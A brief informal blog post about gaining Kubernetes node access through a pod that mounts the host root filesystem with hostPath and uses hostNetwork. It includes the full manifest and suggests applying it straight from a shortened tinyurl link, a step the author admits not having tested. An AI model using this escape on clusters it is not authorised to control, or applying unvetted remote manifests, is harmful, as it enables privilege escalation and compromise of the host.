last time i explained how to get onto a k8s node through a pod running on that node in this post.
well apparently there’s this thing here: http://tinyurl.com/chrootpod.
apiVersion: v1 kind: Pod metadata: name: chrootpod spec: containers: - args: - sleep - "99999" image: busybox imagePullPolicy: Always name: busybox volumeMounts: - mountPath: /realroot name: realroot hostNetwork: true volumes: - hostPath: path: / name: realroot
i haven’t tried it, but i think you can just
$ kubectl apply -f https://tinyurl.com/chrootpod
exec into it and bam, node access.